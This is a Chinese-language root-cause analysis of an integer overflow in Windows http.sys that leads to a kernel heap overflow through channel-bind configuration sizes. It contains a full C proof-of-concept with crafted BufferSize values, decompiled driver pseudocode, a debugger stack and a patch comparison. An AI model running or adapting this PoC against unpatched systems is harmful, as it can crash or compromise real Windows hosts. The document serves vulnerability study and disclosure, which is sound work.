在http.sys中存在整数溢出漏洞,攻击者可以利用整数溢出漏洞绕过字段大小检查,导致在调用memcpy时传入超出缓冲区大小的长度参数,造成内存溢出。
PoC
#define _WIN32_WINNT 0x0A00
#define SECURITY_WIN32
#include <http.h>
#include <sspi.h>
#include <strsafe.h>
#pragma warning(disable : 4127) // condition expression is constant
int __cdecl wmain(int argc, __in_ecount(argc) wchar_t *argv[]) {
HANDLE hReqQueue = NULL;
HTTPAPI_VERSION HttpApiVersion = HTTPAPI_VERSION_2;
HTTP_SERVER_SESSION_ID ssID = HTTP_NULL_ID;
ULONG retCode;
HTTP_URL_GROUP_ID urlGroupId = HTTP_NULL_ID;
// 初始化HTTP服务器驱动
retCode = HttpInitialize(HttpApiVersion,
HTTP_INITIALIZE_SERVER, // Flags
NULL // Reserved
);
if (retCode != NO_ERROR) {
wprintf(L"HttpInitialize failed with %lu \n", retCode);
return retCode;
}
// 创建服务会话
retCode = HttpCreateServerSession(HttpApiVersion, &ssID, 0);
if (retCode != NO_ERROR) {
wprintf(L"HttpCreateServerSession failed with %lu \n", retCode);
return 0;
}
// 创建url group
retCode = HttpCreateUrlGroup(ssID, &urlGroupId, 0);
if (retCode != NO_ERROR) {
wprintf(L"HttpCreateUrlGroup failed with %lu \n", retCode);
return 0;
}
BYTE data_temp1[0x1000] = {0};
DWORD return_len = 0;
// 分配 0xfffffe0 大小的堆块
WCHAR *str = HeapAlloc(GetProcessHeap(), 0, 0xfffffe0);
WCHAR str_test[0xfffe] = L"192.168.52.133:8081";
memcpy(str, str_test, 0x20);
HTTP_CHANNEL_BIND_INFO bind_info;
bind_info.Hardening = HttpAuthenticationHardeningLegacy;
bind_info.Flags = HTTP_CHANNEL_BIND_PROXY;
HTTP_SERVICE_BINDING_W service_binding;
HTTP_SERVICE_BINDING_BASE binding_base;
binding_base.Type = HttpServiceBindingTypeW;
service_binding.Base = binding_base;
service_binding.Buffer = str;
service_binding.BufferSize = 0xfffffe0 - 0xf0f0f0; // F0F0EF0
PHTTP_SERVICE_BINDING_BASE binding_base_arr[0x11];
PHTTP_SERVICE_BINDING_BASE tmp_binding_base = &service_binding;
for (int i = 0; i < 0x11; i++) {
binding_base_arr[i] = tmp_binding_base;
}
bind_info.ServiceNames = binding_base_arr;
bind_info.NumberOfServiceNames = 0x11;
retCode = HttpSetUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
&bind_info, 0x20);
retCode = HttpQueryUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
&data_temp1, 0x140, &return_len);
}
在http!UlCopyChannelBindConfigToIrp 下断点,运行PoC,此时调用栈为
1: kd> k
# Child-SP RetAddr Call Site
00 fffff889`cd7f76a8 fffff805`7981ae19 HTTP!UlCopyChannelBindConfigToIrp
01 fffff889`cd7f76b0 fffff805`7982caf5 HTTP!UlQueryConfigGroupProperty+0x175
02 fffff889`cd7f7740 fffff805`797130aa HTTP!UlQueryUrlGroupIoctl+0x195
03 fffff889`cd7f77c0 fffff805`6dc954d5 HTTP!UxDeviceControl+0x8a
04 fffff889`cd7f7800 fffff805`6e0a6048 nt!IofCallDriver+0x55
05 fffff889`cd7f7840 fffff805`6e0a5e47 nt!IopSynchronousServiceTail+0x1a8
06 fffff889`cd7f78e0 fffff805`6e0a51c6 nt!IopXxxControlFile+0xc67
07 fffff889`cd7f7a20 fffff805`6de0d8f5 nt!NtDeviceIoControlFile+0x56
08 fffff889`cd7f7a90 00007ff9`c610d1a4 nt!KiSystemServiceCopyEnd+0x25
09 00000014`7dcd6308 00007ff9`b6391b7a ntdll!NtDeviceIoControlFile+0x14
0a 00000014`7dcd6310 00007ff9`b6393c9f HTTPAPI!HttpApiSynchronousDeviceControl+0x8a
0b 00000014`7dcd6390 00007ff6`93fb18b2 HTTPAPI!HttpQueryUrlGroupProperty+0x6f
0c 00000014`7dcd6410 00000000`00000000 http_poc2!wmain+0x3d2 [D:\code\c\http_poc2.c @ 113]
http!UlCopyChannelBindConfigToIrp 伪代码如下,该函数调用UxGetOutputBufferForOutDirect 计算存储ChannelBindConfig 所需的内存大小,并和UxGetOutputBufferForOutDirect返回的分配的内存大小作比较:
__int64 __fastcall UlCopyChannelBindConfigToIrp(__int64 a1, IRP *a2, unsigned int *a3)
{
...
v8 = UlpComputeChannelBindConfigSize(a1, a2);
v43 = v8;
if ( IoIs32bitProcess(a2) )
{
v36 = 0i64;
IoIs32bitProcess(a2);
OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
(_DWORD)a2,
(_DWORD)CurrentStackLocation,
16,
4,
(__int64)&v31,
(__int64)&v32,
(__int64)&v41);
v33 = OutputBufferForOutDirect;
if ( OutputBufferForOutDirect < 0 )
goto LABEL_32;
if ( v8 > v41 )
{
OutputBufferForOutDirect = -2147483643;
v33 = -2147483643;
if ( (WPP_MAIN_CB.StackSize & 0x20) != 0 )
{
v10 = 43i64;
LABEL_6:
WPP_SF_D(v10, &WPP_64a86ec3d91e339ac994f13222c31d64_Traceguids, 2147483653i64);
goto LABEL_32;
}
goto LABEL_32;
}
v11 = v31;
if ( (*(_DWORD *)a1 & 1) == 0 )
{
*(_QWORD *)v31 = 0i64;
*(_QWORD *)(v11 + 8) = 0i64;
goto LABEL_32;
}
*(_DWORD *)(v31 + 4) = *(_DWORD *)(a1 + 8);
*(_DWORD *)v11 = *(_DWORD *)(a1 + 4);
*(_QWORD *)(v11 + 8) = 0i64;
v12 = *(_QWORD *)(a1 + 16);
if ( !v12 || !*(_DWORD *)(v12 + 16) )
goto LABEL_32;
v13 = (v11 + 19) & 0xFFFFFFFFFFFFFFFCui64;
v38 = v13;
v36 = (_DWORD *)v13;
*(_DWORD *)(v11 + 8) = v13 + v32 - v31;
*(_DWORD *)(v11 + 12) = *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64);
v14 = *(unsigned int *)(*(_QWORD *)(a1 + 16) + 16i64);
v15 = (_DWORD *)(v13 + 4 * v14);
v37 = v15;
v16 = (char *)&v15[3 * v14];
v35 = v16;
v17 = 0;
v34 = 0;
while ( v17 < *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
{
*(_DWORD *)(v13 + 4i64 * v17) = (_DWORD)v15 + v32 - v31;
v18 = *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 16) + 8i64) + 8i64 * v17);
if ( *(_DWORD *)v18 == 2 )
{
v36 = v15 + 3;
v37 = v15 + 3;
*v15 = 2;
v15[1] = (_DWORD)v16 + v32 - v31;
v15[2] = *(_DWORD *)(v18 + 16);
memmove(v16, *(const void **)(v18 + 8), *(unsigned int *)(v18 + 16));
v16 = &v35[*(unsigned int *)(v18 + 16)];
}
else
{
v36 = v15 + 3;
v37 = v15 + 3;
*v15 = 1;
v30 = (char *)((unsigned __int64)(v16 + 1) & 0xFFFFFFFFFFFFFFFEui64);
v15[1] = (_DWORD)v30 + v32 - v31;
v15[2] = *(_DWORD *)(v18 + 16);
memmove(v30, *(const void **)(v18 + 8), *(unsigned int *)(v18 + 16));
v16 = &v30[*(unsigned int *)(v18 + 16)];
}
v35 = v16;
v34 = ++v17;
v15 = v36;
v13 = v38;
}
LABEL_31:
v3 = v42;
goto LABEL_32;
}
v38 = 0i64;
v19 = IoIs32bitProcess(a2);
OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
(_DWORD)a2,
(_DWORD)CurrentStackLocation,
24,
v19 != 0 ? 4 : 8,
(__int64)&v31,
(__int64)&v32,
(__int64)&v41);
v33 = OutputBufferForOutDirect;
if ( OutputBufferForOutDirect < 0 )
goto LABEL_32;
if ( v8 > v41 )
{
OutputBufferForOutDirect = -2147483643;
v33 = -2147483643;
if ( (WPP_MAIN_CB.StackSize & 0x20) == 0 )
goto LABEL_32;
v10 = 44i64;
goto LABEL_6;
}
if ( v21 && *(_DWORD *)(v21 + 16) )
{
...
while ( v26 < *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
{
*(_QWORD *)(v22 + 8i64 * v26) = v32 + (unsigned int)(v24 - v31);
v27 = *(_QWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 16) + 8i64) + 8i64 * v26);
if ( *(_DWORD *)v27 == 2 )
{
v36 = (_DWORD *)(v24 + 24);
v37 = (_DWORD *)(v24 + 24);
*(_DWORD *)v24 = 2;
*(_QWORD *)(v24 + 8) = v32 + (unsigned int)((_DWORD)v25 - v31);
*(_DWORD *)(v24 + 16) = *(_DWORD *)(v27 + 16);
memmove(v25, *(const void **)(v27 + 8), *(unsigned int *)(v27 + 16));
v25 = &v35[*(unsigned int *)(v27 + 16)];
}
else
{
v36 = (_DWORD *)(v24 + 24);
v37 = (_DWORD *)(v24 + 24);
*(_DWORD *)v24 = 1;
v28 = (char *)((unsigned __int64)(v25 + 1) & 0xFFFFFFFFFFFFFFFEui64);
*(_QWORD *)(v24 + 8) = v32 + (((_DWORD)v25 + 1) & 0xFFFFFFFE) - (unsigned int)v31;
*(_DWORD *)(v24 + 16) = *(_DWORD *)(v27 + 16);
memmove(v28, *(const void **)(v27 + 8), *(unsigned int *)(v27 + 16));// 触发漏洞
v25 = &v28[*(unsigned int *)(v27 + 16)];
}
v35 = v25;
v34 = ++v26;
v24 = (__int64)v36;
v22 = v39;
}
goto LABEL_31;
}
LABEL_32:
if ( (int)(OutputBufferForOutDirect + 0x80000000) < 0 || OutputBufferForOutDirect == -2147483643 )
v6 = v8;
*v3 = v6;
return (unsigned int)OutputBufferForOutDirect;
}
在UlpComputeChannelBindConfigSize函数中存在整数溢出,该函数伪代码如下,rsi+10h处指向了用户传入的HTTP_CHANNEL_BIND_INFO结构体,该结构体定义如下:
typedef struct _HTTP_CHANNEL_BIND_INFO
{
HTTP_AUTHENTICATION_HARDENING_LEVELS Hardening;
ULONG Flags;
PHTTP_SERVICE_BINDING_BASE * ServiceNames;
ULONG NumberOfServiceNames;
} HTTP_CHANNEL_BIND_INFO, *PHTTP_CHANNEL_BIND_INFO;
typedef enum _HTTP_AUTHENTICATION_HARDENING_LEVELS
{
HttpAuthenticationHardeningLegacy = 0,
HttpAuthenticationHardeningMedium,
HttpAuthenticationHardeningStrict
} HTTP_AUTHENTICATION_HARDENING_LEVELS;
typedef struct _HTTP_SERVICE_BINDING_BASE
{
HTTP_SERVICE_BINDING_TYPE Type;
} HTTP_SERVICE_BINDING_BASE, *PHTTP_SERVICE_BINDING_BASE;
typedef struct _HTTP_SERVICE_BINDING_A
{
HTTP_SERVICE_BINDING_BASE Base;
PCHAR Buffer;
ULONG BufferSize;
} HTTP_SERVICE_BINDING_A, *PHTTP_SERVICE_BINDING_A;
typedef struct _HTTP_SERVICE_BINDING_W
{
HTTP_SERVICE_BINDING_BASE Base;
PWCHAR Buffer;
ULONG BufferSize;
} HTTP_SERVICE_BINDING_W, *PHTTP_SERVICE_BINDING_W;
__int64 __fastcall UlpComputeChannelBindConfigSize(__int64 a1, IRP *a2)
{
unsigned int v4; // ebx
__int64 v5; // rax
__int64 v6; // rdi
__int64 v7; // r9
_DWORD *v8; // r8
v4 = IoIs32bitProcess(a2) != 0 ? 16 : 24;
if ( (*(_DWORD *)a1 & 1) != 0 )
{
v5 = *(_QWORD *)(a1 + 16);
if ( v5 )
{
if ( *(_DWORD *)(v5 + 16) )
{
v6 = 0i64;
v4 += (IoIs32bitProcess(a2) != 0 ? 16 : 32) * *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64);
if ( *(_DWORD *)(*(_QWORD *)(a1 + 16) + 16i64) )
{
do
{
IoIs32bitProcess(a2);
v7 = *(_QWORD *)(a1 + 16); // HTTP_CHANNEL_BIND_INFO 结构体
v8 = *(_DWORD **)(*(_QWORD *)(v7 + 8) + 8 * v6);// ServiceName 结构体
if ( *v8 == 1 ) // 如果是HttpServiceBindingTypeW 则进入
v4 = (v4 + 1) & 0xFFFFFFFE;
v4 += v8[4]; // V8是enum HTTP_SERVICE_BINDING_BASE类型,占4个字节,则V8[4]就是V8 后面16个字节,即BufferSize
v6 = (unsigned int)(v6 + 1);
}
while ( (unsigned int)v6 < *(_DWORD *)(v7 + 16) );
}
}
}
}
return v4;
}
该函数遍历HTTP_CHANNEL_BIND_INFO结构体的ServiceNames HTTP_SERVICE_BINDING_W指针数组的BufferSize,并相加,而后将其返回,其中v4为unsigned int类型,而BufferSize为ULONG类型,均为四个字节,当循环相加时,如果BufferSize * NumberOfServiceNames 和v4相加超出0xFFFFFFFF则会产生整数溢出,使得UlpComputeChannelBindConfigSize返回的内存大小小于实际所需的内存大小。在调试器中可以看到在执行完fffff805`7984c899 03d9 add ebx, ecx后,将产生溢出,ebx变为0x28。

返回到上层函数,UlCopyChannelBindConfigToIrp 调用UxGetOutputBufferForOutDirect获取到用户传入的缓冲区大小,此时v41值为0x140
retCode = HttpQueryUrlGroupProperty(urlGroupId, HttpServerChannelBindProperty,
&data_temp1, 0x140, &return_len);
v43 = v8;
if ( IoIs32bitProcess(a2) )
{
v36 = 0i64;
IoIs32bitProcess(a2);
OutputBufferForOutDirect = UxGetOutputBufferForOutDirect(
(__int64)a2,
(__int64)CurrentStackLocation,
0x10u,
4i64,
&v31,
&v32,
&v41);
v33 = OutputBufferForOutDirect;
if ( OutputBufferForOutDirect < 0 )
goto LABEL_32;
if ( v8 > v41 )
{
OutputBufferForOutDirect = -2147483643;
v33 = -2147483643;
if ( (WPP_MAIN_CB.StackSize & 0x20) != 0 )
{
v10 = 43i64;
LABEL_6:
WPP_SF_D(v10, &WPP_64a86ec3d91e339ac994f13222c31d64_Traceguids, 2147483653i64);
goto LABEL_32;
}
goto LABEL_32;
}

由于在HTTP!UlpComputeChannelBindConfigSize中发生整数溢出,导致HTTP!UlpComputeChannelBindConfigSize返回值小于用户提供的0x140,绕过了内存大小检查,在后面通过memcpy将HTTP_CHANNEL_BIND_INFO结构体的PHTTP_SERVICE_BINDING_BASE的Buffer成员拷贝到指定内存中,拷贝长度为BufferSize,即用户提供的0xF0F0EF0

0xF0F0EF0远大于用户输入的缓冲区0x1000,导致堆溢出。
通过bindiff可知,在补丁中增加了对BufferSize进行判断的逻辑,判断BufferSize是否小于0xFFFC


由于ServiceName最大数量限制为0x40,则0x40 * 0xFFFC = 3FFF00,不能产生溢出,修复了该漏洞。
参考资料
Created at 2023-05-05T20:59:45+08:00